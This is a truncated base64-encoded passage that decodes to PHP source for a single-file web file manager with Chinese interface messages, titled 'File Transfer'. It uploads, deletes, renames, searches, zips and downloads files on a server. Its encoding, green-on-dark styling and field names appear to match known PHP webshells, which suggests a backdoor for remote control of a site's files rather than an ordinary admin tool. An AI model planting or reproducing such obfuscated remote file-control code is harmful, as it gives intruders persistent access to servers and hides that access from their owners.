AgICAkbSA9ICdmaWxlcyc7Cn0KJHNlYXJjaEhpdHMgPSBhcnJheSgpOwokc2VhcmNoRGlkID0gZmFsc2U7CiRzZWFyY2hLdyA9ICcnOwokc2VhcmNoTW9kZSA9ICdzY2FuZmlsZSc7CiRzZWFyY2hSZWN1cnNlID0gdHJ1ZTsKJHNlYXJjaFBhdGhSZWwgPSAnLic7CiRiYXNlID0gaXNzZXQoJF9HRVRbJ2Jhc2UnXSkgPyAoc3RyaW5nKSRfR0VUWydiYXNlJ10gOiAoaXNzZXQoJF9TRVNTSU9OWydmdF9iYXNlJ10pID8gJF9TRVNTSU9OWydmdF9iYXNlJ10gOiAnd2ViJyk7CmlmICgkYmFzZSAhPT0gJ3NjcmlwdCcpIHsKICAgICRiYXNlID0gJ3dlYic7Cn0KaWYgKCRhdXRoZWQpIHsKICAgICRfU0VTU0lPTlsnZnRfYmFzZSddID0gJGJhc2U7Cn0KJFJPT1QgPSAoJGJhc2UgPT09ICdzY3JpcHQnKSA/ICRTQ1JJUFRfUk9PVCA6ICRXRUJfUk9PVDsKJGN1clJlbCA9IGlzc2V0KCRfR0VUWydwJ10pID8gKHN0cmluZykkX0dFVFsncCddIDogJy4nOwokY3VyUmVsID0gc3RyX3JlcGxhY2UoYXJyYXkoJy4uJywgJ1xcJyksIGFycmF5KCcnLCAnLycpLCAkY3VyUmVsKTsKJGN1clJlbCA9IHRyaW0oJGN1clJlbCwgJy8nKTsKaWYgKCRjdXJSZWwgPT09ICcnIHx8ICRjdXJSZWwgPT09ICcuJykgewogICAgJGN1ckZ1bGwgPSAkUk9PVDsKICAgICRjdXJSZWwgPSAnLic7Cn0gZWxzZSB7CiAgICAkdHJ5ID0gdW5kZXJfcm9vdCgkUk9PVCwgJFJPT1QgLiAnLycgLiAkY3VyUmVsKTsKICAgIGlmICgkdHJ5ICYmIGlzX2RpcigkdHJ5KSkgewogICAgICAgICRjdXJGdWxsID0gJHRyeTsKICAgICAgICAkY3VyUmVsID0gcmVsX3BhdGgoJFJPT1QsICRjdXJGdWxsKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGN1ckZ1bGwgPSAkUk9PVDsKICAgICAgICAkY3VyUmVsID0gJy4nOwogICAgfQp9CmlmICgkYXV0aGVkKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydkb191cGxvYWQnXSkgJiYgaXNzZXQoJF9GSUxFU1snZmlsZSddKSkgewogICAgICAgICRmID0gJF9GSUxFU1snZmlsZSddOwogICAgICAgIGlmIChpc3NldCgkZlsnZXJyb3InXSkgJiYgKGludCkkZlsnZXJyb3InXSA9PT0gMCkgewogICAgICAgICAgICBpZiAoKGludCkkZlsnc2l6ZSddID4gJE1BWF9VUExPQUQpIHsKICAgICAgICAgICAgICAgICRlcnIgPSAn6LaF6L+H5aSn5bCP6ZmQ5Yi2JzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRuYW1lID0gc2FmZV9uYW1lKCRmWyduYW1lJ10pOwogICAgICAgICAgICAgICAgJHRvUmVsID0gaXNzZXQoJF9QT1NUWyd0b2RpciddKSA/IHN0cl9yZXBsYWNlKGFycmF5KCcuLicsICdcXCcpLCBhcnJheSgnJywgJy8nKSwgKHN0cmluZykkX1BPU1RbJ3RvZGlyJ10pIDogJGN1clJlbDsKICAgICAgICAgICAgICAgICR0b1JlbCA9IHRyaW0oJHRvUmVsLCAnLycpOwogICAgICAgICAgICAgICAgJHRvRGlyID0gKCR0b1JlbCA9PT0gJycgfHwgJHRvUmVsID09PSAnLicpID8gJFJPT1QgOiB1bmRlcl9yb290KCRST09ULCAkUk9PVCAuICcvJyAuICR0b1JlbCk7CiAgICAgICAgICAgICAgICBpZiAoISR0b0RpciB8fCAhaXNfZGlyKCR0b0RpcikpIHsKICAgICAgICAgICAgICAgICAgICAkdG9EaXIgPSAkY3VyRnVsbDsKICAgICAgICAgICAgICAgICAgICAkdG9SZWwgPSAkY3VyUmVsOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGRlc3QgPSB1bmRlcl9yb290KCRST09ULCAkdG9EaXIgLiAnLycgLiAkbmFtZSk7CiAgICAgICAgICAgICAgICBpZiAoJGRlc3QgJiYgQG1vdmVfdXBsb2FkZWRfZmlsZSgkZlsndG1wX25hbWUnXSwgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICAgICAgJG1zZyA9ICfkuIrkvKDmiJDlip/vvJonIC4gJG5hbWU7CiAgICAgICAgICAgICAgICAgICAgJG0gPSAnZmlsZXMnOwogICAgICAgICAgICAgICAgICAgICRjdXJGdWxsID0gJHRvRGlyOwogICAgICAgICAgICAgICAgICAgICRjdXJSZWwgPSByZWxfcGF0aCgkUk9PVCwgJGN1ckZ1bGwpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkZXJyID0gJ+S4iuS8oOWksei0pe+8iOadg+mZkOaIlui3r+W+hO+8iSc7CiAgICAgICAgICAgICAgICAgICAgJG0gPSAnZmlsZXMnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGVyciA9ICfkuIrkvKDlh7rplJknOwogICAgICAgICAgICAkbSA9ICdmaWxlcyc7CiAgICAgICAgfQogICAgfQogICAgaWYgKGlzc2V0KCRfUE9TVFsnZG9fbWtkaXInXSkpIHsKICAgICAgICAkbmFtZSA9IGlzc2V0KCRfUE9TVFsnZGlybmFtZSddKSA/IHNhZmVfbmFtZSgkX1BPU1RbJ2Rpcm5hbWUnXSkgOiAnJzsKICAgICAgICBpZiAoJG5hbWUgIT09ICcnICYmICRuYW1lICE9PSAndXBsb2FkLmJpbicpIHsKICAgICAgICAgICAgJGRlc3QgPSB1bmRlcl9yb290KCRST09ULCAkY3VyRnVsbCAuICcvJyAuICRuYW1lKTsKICAgICAgICAgICAgaWYgKCRkZXN0ICYmICFmaWxlX2V4aXN0cygkZGVzdCkgJiYgQG1rZGlyKCRkZXN0LCAwNzU1LCBmYWxzZSkpIHsKICAgICAgICAgICAgICAgICRtc2cgPSAn55uu5b2V5bey5Yib5bu677yaJyAuICRuYW1lOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGVyciA9ICfliJvlu7rnm67lvZXlpLHotKUnOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRtID0gJ2ZpbGVzJzsKICAgIH0KICAgIGlmIChpc3NldCgkX0dFVFsnZGVsJ10pKSB7CiAgICAgICAgJHRhcmdldCA9IHVuZGVyX3Jvb3QoJFJPT1QsICRST09UIC4gJy8nIC4gc3RyX3JlcGxhY2UoJy4uJywgJycsIChzdHJpbmcpJF9HRVRbJ2RlbCddKSk7CiAgICAgICAgaWYgKCR0YXJnZXQgJiYgJHRhcmdldCAhPT0gJFJPT1QgJiYgaXNfZmlsZSgkdGFyZ2V0KSkgewogICAgICAgICAgICBAdW5saW5rKCR0YXJnZXQpOwogICAgICAgICAgICAkbXNnID0gJ+W3suWIoOmZpCc7CiAgICAgICAgfSBlbHNlaWYgKCR0YXJnZXQgJiYgJHRhcmdldCAhPT0gJFJPT1QgJiYgaXNfZGlyKCR0YXJnZXQpKSB7CiAgICAgICAgICAgIGlmIChAcm1kaXIoJHRhcmdldCkpIHsKICAgICAgICAgICAgICAgICRtc2cgPSAn5bey5Yig6Zmk56m655uu5b2VJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlcnIgPSAn55uu5b2V6Z2e56m65oiW5peg5rOV5Yig6ZmkJzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkbSA9ICdmaWxlcyc7CiAgICB9CiAgICBpZiAoaXNzZXQoJF9QT1NUWydkb19yZW5hbWUnXSkpIHsKICAgICAgICAkc3JjUmVsID0gc3RyX3JlcGxhY2UoYXJyYXkoJy4uJywgJ1xcJyksIGFycmF5KCcnLCAnLycpLCAoc3RyaW5nKSRfUE9TVFsnc3JjJ10pOwogICAgICAgICRuZXdOYW1lID0gc2FmZV9uYW1lKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSA/ICRfUE9TVFsnbmV3bmFtZSddIDogJycpOwogICAgICAgICRzcmMgPSB1bmRlcl9yb290KCRST09ULCAkUk9PVCAuICcvJyAuIGx0cmltKCRzcmNSZWwsICcvJykpOwogICAgICAgIGlmICgkc3JjICYmICRuZXdOYW1lICE9PSAnJyAmJiAkbmV3TmFtZSAhPT0gJ3VwbG9hZC5iaW4nKSB7CiAgICAgICAgICAgICRkZXN0ID0gdW5kZXJfcm9vdCgkUk9PVCwgZGlybmFtZSgkc3JjKSAuICcvJyAuICRuZXdOYW1lKTsKICAgICAgICAgICAgaWYgKCRkZXN0ICYmIEByZW5hbWUoJHNyYywgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICAkbXNnID0gJ+aUueWQjeaIkOWKnyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZXJyID0gJ+aUueWQjeWksei0pSc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJG0gPSAnZmlsZXMnOwogICAgfQogICAgaWYgKGlzc2V0KCRfUE9TVFsnZG9fc2VhcmNoJ10pKSB7CiAgICAgICAgJG0gPSAnc2VhcmNoJzsKICAgICAgICAkc2VhcmNoRGlkID0gdHJ1ZTsKICAgICAgICAkc2VhcmNoS3cgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyB0cmltKChzdHJpbmcpJF9QT1NUWydjb2RlJ10pIDogJyc7CiAgICAgICAgJHNlYXJjaE1vZGUgPSAoaXNzZXQoJF9QT1NUWydyZXR1cm4nXSkgJiYgJF9QT1NUWydyZXR1cm4nXSA9PT0gJ3NjYW5jb2RlJykgPyAnc2NhbmNvZGUnIDogJ3NjYW5maWxlJzsKICAgICAgICAkc2VhcmNoUmVjdXJzZSA9ICFlbXB0eSgkX1BPU1RbJ3Bhc3MnXSk7CiAgICAgICAgJHNwYXRoID0gaXNzZXQoJF9QT1NUWydwYXRoJ10pID8gc3RyX3JlcGxhY2UoYXJyYXkoJy4uJywgJ1xcJyksIGFycmF5KCcnLCAnLycpLCAoc3RyaW5nKSRfUE9TVFsncGF0aCddKSA6ICcnOwogICAgICAgICRzcGF0aCA9IHRyaW0oJHNwYXRoLCAnLycpOwogICAgICAgIGlmICgkc3BhdGggPT09ICcnIHx8ICRzcGF0aCA9PT0gJy4nKSB7CiAgICAgICAgICAgICRzZWFyY2hTdGFydCA9ICRST09UOwogICAgICAgICAgICAkc2VhcmNoUGF0aFJlbCA9ICcuJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdHJ5ID0gdW5kZXJfcm9vdCgkUk9PVCwgJFJPT1QgLiAnLycgLiAkc3BhdGgpOwogICAgICAgICAgICBpZiAoJHRyeSAmJiBpc19kaXIoJHRyeSkpIHsKICAgICAgICAgICAgICAgICRzZWFyY2hTdGFydCA9ICR0cnk7CiAgICAgICAgICAgICAgICAkc2VhcmNoUGF0aFJlbCA9IHJlbF9wYXRoKCRST09ULCAkdHJ5KTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRzZWFyY2hTdGFydCA9ICRST09UOwogICAgICAgICAgICAgICAgJHNlYXJjaFBhdGhSZWwgPSAnLic7CiAgICAgICAgICAgICAgICAkZXJyID0gJ+aQnOe0oui3r+W+hOaXoOaViO+8jOW3suWbnumAgOWIsOagueebruW9lSc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRzZWFyY2hLdyA9PT0gJycpIHsKICAgICAgICAgICAgJGVyciA9ICfor7floavlhpnlhbPplK7lrZcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIEBzZXRfdGltZV9saW1pdCg2MCk7CiAgICAgICAgICAgICRzZWFyY2hIaXRzID0gYmF0Y2hfc2VhcmNoKCRST09ULCAkc2VhcmNoU3RhcnQsICRzZWFyY2hLdywgJHNlYXJjaE1vZGUsICRzZWFyY2hSZWN1cnNlLCAyMDAsIDEyKTsKICAgICAgICAgICAgJG1zZyA9ICfmib7liLAgJyAuIGNvdW50KCRzZWFyY2hIaXRzKSAuICcg5Liq5paH5Lu2JyAuICgkc2VhcmNoUmVjdXJzZSA/ICfvvIjlkKvlrZDnm67lvZXvvIknIDogJ++8iOS7heW9k+WJjeebruW9le+8iScpOwogICAgICAgIH0KICAgIH0KICAgIGlmIChpc3NldCgkX0dFVFsncGFjayddKSkgewogICAgICAgICRzcmNSZWwgPSBzdHJfcmVwbGFjZShhcnJheSgnLi4nLCAnXFwnKSwgYXJyYXkoJycsICcvJyksIChzdHJpbmcpJF9HRVRbJ3BhY2snXSk7CiAgICAgICAgJHNyYyA9IHVuZGVyX3Jvb3QoJFJPT1QsICRST09UIC4gJy8nIC4gbHRyaW0oJHNyY1JlbCwgJy8nKSk7CiAgICAgICAgaWYgKCRzcmMgJiYgKGlzX2ZpbGUoJHNyYykgfHwgaXNfZGlyKCRzcmMpKSAmJiBjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAkemlwTmFtZSA9IGJhc2VuYW1lKCRzcmMpIC4gJ18nIC4gZGF0ZSgnWW1kSGlzJykgLiAnLnppcCc7CiAgICAgICAgICAgICR6aXBQYXRoID0gdW5kZXJfcm9vdCgkUk9PVCwgJGN1ckZ1bGwgLiAnLycgLiAkemlwTmFtZSk7CiAgICAgICAgICAgIGlmICgkemlwUGF0aCkgewogICAgICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJHppcFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkemlwUGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCR6aXBQYXRoLCBaaXBBcmNoaXZlOjpDUkVBVEUpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgemlwX2FkZF9wYXRoKCR6aXAsICRzcmMsIGJhc2VuYW1lKCRzcmMpKTsKICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICRtc2cgPSAn5omT5YyF5a6M5oiQ77yaJyAuICR6aXBOYW1lOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkZXJyID0gJ+aXoOazleWIm+W7uuWOi+e8qeWMhSc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZXJyID0gJ+aJk+WMheWksei0pe+8iOmcgCBaaXBBcmNoaXZlIC8gemlwIOaJqeWxle+8iSc7CiAgICAgICAgfQogICAgICAgICRtID0gJ2ZpbGVzJzsKICAgIH0KICAgIGlmIChpc3NldCgkX0dFVFsnZG93biddKSB8fCAoaXNzZXQoJF9QT1NUWydkb19kb3dubG9hZCddKSAmJiBpc3NldCgkX1BPU1RbJ2RwYXRoJ10pKSkgewogICAgICAgICRkcCA9IGlzc2V0KCRfR0VUWydkb3duJ10pID8gKHN0cmluZykkX0dFVFsnZG93biddIDogKHN0cmluZykkX1BPU1RbJ2RwYXRoJ107CiAgICAgICAgJGRwID0gc3RyX3JlcGxhY2UoYXJyYXkoJy4uJywgJ1xcJyksIGFycmF5KCcnLCAnLycpLCAkZHApOwogICAgICAgICR0YXJnZXQgPSB1bmRlcl9yb290KCRST09ULCAkUk9PVCAuICcvJyAuIGx0cmltKCRkcCwgJy8nKSk7CiAgICAgICAgaWYgKCghJHRhcmdldCB8fCAhaXNfZmlsZSgkdGFyZ2V0KSkgJiYgJGRwICE9PSAnJykgewogICAgICAgICAgICAkdGFyZ2V0ID0gdW5kZXJfcm9vdCgkUk9PVCwgJFJPT1QgLiAnLycgLiAkZHApOwogICAgICAgIH0KICAgICAgICBpZiAoJHRhcmdldCAmJiBpc19maWxlKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICRibiA9IGJhc2VuYW1lKCR0YXJnZXQpOwogICAgICAgICAgICAkc3ogPSBAZmlsZXNpemUoJHRhcmdldCk7CiAgICAgICAgICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnknKTsKICAgICAgICAgICAgaWYgKCRzeiAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiAkc3opOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRibkFzY2lpID0gcHJlZ19yZXBsYWNlKCcvW15ceDIwLVx4N0VdLycsICdfJywgJGJuKTsKICAgICAgICAgICAgaWYgKCRibkFzY2lpID09PSAnJyB8fCAkYm5Bc2NpaSA9PT0gbnVsbCkgewogICAgICAgICAgICAgICAgJGJuQXNjaWkgPSAnZG93bmxvYWQuYmluJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gJGJuQXNjaWkgLiAnIjsgZmlsZW5hbWUqPVVURi04XCdcJycgLiByYXd1cmxlbmNvZGUoJGJuKSk7CiAgICAgICAgICAgIEByZWFkZmlsZSgkdGFyZ2V0KTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICAgICAgJGVyciA9ICfmlofku7bkuI3lrZjlnKjmiJbml6DmnYPkuIvovb0nOwogICAgICAgICRtID0gJ2Rvd25sb2FkJzsKICAgIH0KfQpmdW5jdGlvbiBxKCRhcnIpCnsKICAgIHJldHVybiBoKGh0dHBfYnVpbGRfcXVlcnkoJGFycikpOwp9CmlmICghaGVhZGVyc19zZW50KCkpIHsgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOyB9Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KPHRpdGxlPkZpbGUgVHJhbnNmZXI8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoqe3BhZGRpbmc6MDttYXJnaW46MDt9CmJvZHksdGR7Zm9udC1zaXplOjEycHg7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kOiMyOTI5Mjk7fQpib2R5ewogIGNvbG9yOiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsKICBiYWNrZ3JvdW5kOiMzMzMzMzM7bWFyZ2luOjA7CiAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6IzIzMjMyMztTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiMyMzIzMjM7CiAgU0NST0xMQkFSLVNIQURPVy1DT0xPUjojMzgzODM4O1NDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiMzODM4Mzg7CiAgU0NST0xMQkFSLTNETElHSFQtQ09MT1I6IzIzMjMyMztTQ1JPTExCQVItQVJST1ctQ09MT1I6I0ZGRkZGRjsKICBTQ1JPTExCQVItVFJBQ0stQ09MT1I6IzM4MzgzODsKfQppbnB1dCxzZWxlY3QsdGV4dGFyZWF7Zm9udC1zaXplOjEycHg7YmFja2dyb3VuZC1jb2xvcjojRkZGRkNDO2JvcmRlcjoxcHggc29saWQgI2ZmZjt9CmF7Y29sb3I6I2RkZDt0ZXh0LWRlY29yYXRpb246bm9uZTt9CmE6aG92ZXJ7Y29sb3I6I0ZGNjYwMDtmb250LXdlaWdodDpib2xkO30KLndyYXB7d2lkdGg6MTAwJTt9Ci5sZWZ0ewogIHdpZHRoOjE2MHB4O2Zsb2F0OmxlZnQ7cGFkZGluZzo2cHggMCA2cHggNHB4O2JhY2tncm91bmQ6IzMzMzsKfQoucmlnaHR7bWFyZ2luLWxlZnQ6MTY4cHg7cGFkZGluZzo2cHggOHB4IDEycHggNHB4O30KLm1lbnV7d2lkdGg6MTUycHg7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt9Ci5tZW51IGRse21hcmdpbi10b3A6MnB4O21hcmdpbi1ib3R0b206OHB4O30KLm1lbnUgZGwgZHR7CiAgYmFja2dyb3VuZDojMjMyMzIzO2hlaWdodDoyMnB4O2xpbmUtaGVpZ2h0OjIycHg7Y29sb3I6I2ZmZjtmb250LXdlaWdodDpib2xkOwogIHRleHQtaW5kZW50OjhweDtib3JkZXI6MXB4IHNvbGlkICM1NDU0NTQ7Cn0KLm1lbnUgZGwgZHQgc3Bhbi5hcnJ7CiAgZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTBweDtoZWlnaHQ6MTBweDtiYWNrZ3JvdW5kOiNmZmNjMDA7Y29sb3I6I2ZmZjsKICBmb250LXNpemU6OXB4O2xpbmUtaGVpZ2h0OjEwcHg7dGV4dC1hbGlnbjpjZW50ZXI7dGV4dC1pbmRlbnQ6MDttYXJnaW4tcmlnaHQ6NHB4Owp9Ci5tZW51IGRsIGRkIHVse2xpc3Qtc3R5bGU6bm9uZTttYXJnaW46MDtwYWRkaW5nOjA7fQoubWVudSBkbCBkZCB1bCBsaSBhewogIGNvbG9yOiMwMDA7aGVpZ2h0OjI3cHg7d2lkdGg6MTUwcHg7ZGlzcGxheTpibG9jaztsaW5lLWhlaWdodDoyN3B4O3RleHQtaW5kZW50OjE2cHg7CiAgYmFja2dyb3VuZDojQkJCQkJCO2JvcmRlci1jb2xvcjojRkZGICM1NDU0NTQgIzU0NTQ1NCAjRkZGOwogIGJvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O2JveC1zaXppbmc6Ym9yZGVyLWJveDsKfQoubWVudSBkbCBkZCB1bCBsaSBhOmhvdmVyLC5tZW51IGRsIGRkIHVsIGxpIGEub257CiAgYmFja2dyb3VuZDojRkZGO2NvbG9yOiNGRjY2MDA7Zm9udC13ZWlnaHQ6Ym9sZDsKfQouYWN0YWxse2JhY2tncm91bmQ6IzAwMDtmb250LXNpemU6MTNweDtib3JkZXI6MXB4IHNvbGlkICM5OTk7cGFkZGluZzo0cHggNnB4O21hcmdpbi1ib3R0b206NnB4O30KLmJveHttYXJnaW46MCAwIDhweCAwO3BhZGRpbmc6OHB4O2JvcmRlcjoxcHggc29saWQgIzU0NTQ1NDtiYWNrZ3JvdW5kOiMyMzIzMjM7fQoubXNne2NvbG9yOiMwMGZmMDA7bWFyZ2luOjZweCAwO30KLmVycntjb2xvcjojZmYwMDAwO21hcmdpbjo2cHggMDt9CnRhYmxlLmxpc3R7d2lkdGg6MTAwJTtib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7bWFyZ2luLXRvcDo0cHg7fQp0YWJsZS5saXN0IHRkLHRhYmxlLmxpc3QgdGh7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6M3B4IDZweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQp0YWJsZS5saXN0IHRoe2JhY2tncm91bmQ6IzAwMDtjb2xvcjojRkZGRkNDO3RleHQtYWxpZ246bGVmdDt9CnRhYmxlLmxpc3QgdHI6aG92ZXJ7YmFja2dyb3VuZDojMmEyYTJhO30KLmljb3t3aWR0aDoxNnB4O2hlaWdodDoxNnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW4tcmlnaHQ6NHB4O2JvcmRlcjowO30KLmZuYW1le2NvbG9yOiNmZmY7fQouZm5hbWUgYXtjb2xvcjojZmZmO30KLm9wcyBhe2NvbG9yOiNmZmY7bWFyZ2luLXJpZ2h0OjhweDt9Ci5vcHMgYTpob3Zlcntjb2xvcjojRkY2NjAwO30KLnBlcm0sLm93bmVye2NvbG9yOiMwMGZmMDA7fQoubXRpbWV7Y29sb3I6IzM5ZmYxNDt9Ci5jYnt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luLXJpZ2h0OjRweDt9Ci5yZW5ib3h7ZGlzcGxheTpub25lO21hcmdpbi10b3A6NHB4O30KLnJlbmJveCBpbnB1dHt3aWR0aDoxNDBweDt9Ci51cGxpbmV7bWFyZ2luLWJvdHRvbTo4cHg7bGluZS1oZWlnaHQ6MjhweDt9Ci51cGxpbmUgLmZuc2hvd3sKICBkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDoyMjBweDtoZWlnaHQ6MjhweDtsaW5lLWhlaWdodDoyNnB4OwogIGJhY2tncm91bmQ6I0ZGRkZDQztib3JkZXI6MXB4IHNvbGlkICNmZmY7Y29sb3I6IzAwMDtwYWRkaW5nOjAgNnB4OwogIHZlcnRpY2FsLWFsaWduOm1pZGRsZTtvdmVyZmxvdzpoaWRkZW47d2hpdGUtc3BhY2U6bm93cmFwO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7CiAgYm94LXNpemluZzpib3JkZXItYm94O2ZvbnQtc2l6ZToxM3B4Owp9Ci51cGxpbmUgLmZpbGVidG57cG9zaXRpb246cmVsYXRpdmU7ZGlzcGxheTppbmxpbmUtYmxvY2s7dmVydGljYWwtYWxpZ246bWlkZGxlO21hcmdpbjowIDZweDt9Ci51cGxpbmUgLmZpbGVidG4gaW5wdXRbdHlwZT1maWxlXXsKICBwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjA7dG9wOjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtvcGFjaXR5OjA7Y3Vyc29yOnBvaW50ZXI7Zm9udC1zaXplOjIwcHg7Cn0KLnVwbGluZSAuZmlsZWJ0biBzcGFuewogIGRpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQ6I2RkZDtjb2xvcjojMDAwO2JvcmRlcjoxcHggc29saWQgIzk5OTsKICBoZWlnaHQ6MjhweDtsaW5lLWhlaWdodDoyNnB4O3BhZGRpbmc6MCAxMnB4O2N1cnNvcjpwb2ludGVyOwogIGJveC1zaXppbmc6Ym9yZGVyLWJveDtmb250LXNpemU6MTNweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Cn0KLnVwbGluZSBpbnB1dFt0eXBlPXN1Ym1pdF17CiAgaGVpZ2h0OjI4cHg7bGluZS1oZWlnaHQ6MjZweDtwYWRkaW5nOjAgMTRweDtib3gtc2l6aW5nOmJvcmRlci1ib3g7CiAgZm9udC1zaXplOjEzcHg7dmVydGljYWwtYWxpZ246bWlkZGxlO2N1cnNvcjpwb2ludGVyOwp9Ci5wYXRocGlja3tiYWNrZ3JvdW5kOiNGRkZGQ0M7Y29sb3I6IzAwMDtib3JkZXI6MXB4IHNvbGlkICNmZmY7cGFkZGluZzozcHggNHB4O21heC13aWR0aDo5MCU7Zm9udC1zaXplOjEzcHg7fQouZGlyZHJvcHtwb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDo3MCU7bWluLXdpZHRoOjMyMHB4O21heC13aWR0aDo1MjBweDt9Ci5kaXJiYXJ7CiAgZGlzcGxheTp0YWJsZTt3aWR0aDoxMDAlO2JhY2tncm91bmQ6I0ZGRkZDQztib3JkZXI6MXB4IHNvbGlkICNmZmY7Y29sb3I6IzAwMDsKICBoZWlnaHQ6MjZweDtib3gtc2l6aW5nOmJvcmRlci1ib3g7dGFibGUtbGF5b3V0OmZpeGVkOwp9Ci5kaXJiYXIgLmRpcnNob3d7CiAgZGlzcGxheTp0YWJsZS1jZWxsO3dpZHRoOjEwMCU7Ym9yZGVyOjA7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjojMDAwO3BhZGRpbmc6MCA4cHg7CiAgaGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtvdXRsaW5lOm5vbmU7Zm9udC1zaXplOjEzcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOwp9Ci5kaXJiYXIgLmRpcmFycnsKICBkaXNwbGF5OnRhYmxlLWNlbGw7d2lkdGg6MjhweDtib3JkZXI6MDtib3JkZXItbGVmdDoxcHggc29saWQgI2NjYztiYWNrZ3JvdW5kOiNlOGU4ZTg7Y29sb3I6IzAwMDsKICBjdXJzb3I6cG9pbnRlcjtmb250LXNpemU6MTJweDtsaW5lLWhlaWdodDoyNHB4O3BhZGRpbmc6MDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7dGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRpcmJhciAuZGlyYXJyOmhvdmVye2JhY2tncm91bmQ6I2RkZDt9Ci5kaXJib3h7CiAgZGlzcGxheTpub25lO3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6MDt0b3A6MjZweDt6LWluZGV4OjUwOwogIGJhY2tncm91bmQ6I0ZGRkZDQztib3JkZXI6MXB4IHNvbGlkICM5OTk7Y29sb3I6IzAwMDtwYWRkaW5nOjRweCA2cHg7CiAgd2lkdGg6MTAwJTttYXgtaGVpZ2h0OjI4MHB4O292ZXJmbG93OmF1dG87Ym94LXNpemluZzpib3JkZXItYm94OwogIGJveC1zaGFkb3c6MCA0cHggMTBweCByZ2JhKDAsMCwwLC4zNSk7Cn0KLmRpcmJveC5vcGVue2Rpc3BsYXk6YmxvY2s7fQouZGlydHJlZXtsa